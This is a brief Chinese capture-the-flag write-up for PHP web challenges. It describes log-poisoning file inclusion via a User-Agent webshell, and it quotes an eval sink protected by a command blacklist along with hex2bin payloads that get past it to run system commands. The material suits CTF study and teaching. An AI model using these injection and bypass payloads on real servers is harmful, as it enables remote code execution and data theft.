phpdest
文件包含先读/etc/nginx/nginx.conf 配置文件,得到nginx日志文件路径
在user-agent写马
http://565a4e0f-ad60-474d-a483-c44634554a94.node4.buuoj.cn:81/?file=php://filter/resource=../../../var/log/nginx/access.log
日志包含直接连。注意base64,和url编码
还可以利用多层软连接的方式和session文件包含来绕过
https://www.anquanke.com/post/id/213235
https://xz.aliyun.com/t/9545#toc-8
EasyPHP
SimpleRCE
<?php
highlightfile(FILE);
$aaa=$_POST[‘aaa’];
$black_list=array(‘^’,’.’,’`’,’>’,’<’,’=’,’”‘,’preg’,’&’,’|’,’%0’,’popen’,’char’,’decode’,’html’,’md5’,’{‘,’}’,’post’,’get’,’file’,’ascii’,’eval’,’replace’,’assert’,’exec’,’$’,’include’,’var’,’pastre’,’print’,’tail’,’sed’,’pcre’,’flag’,’scan’,’decode’,’system’,’func’,’diff’,’ini‘,’passthru’,’pcntl’,’proc_open’,’+’,’cat’,’tac’,’more’,’sort’,’log’,’current’,’\‘,’cut’,’bash’,’nl’,’wget’,’vi’,’grep’);
$aaa = str_ireplace($black_list,”hacker”,$aaa);
eval($aaa);
?>
str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。
十六进制绕过system
echo bin2hex(“system”);
这里需要用单引号
然后就是linux花试读文件
aaa=hex2bin(‘73797374656d’)(‘od /f‘);
aaa=hex2bin(‘73797374656d’)(‘rev /f‘);
还有base64 和curl等等
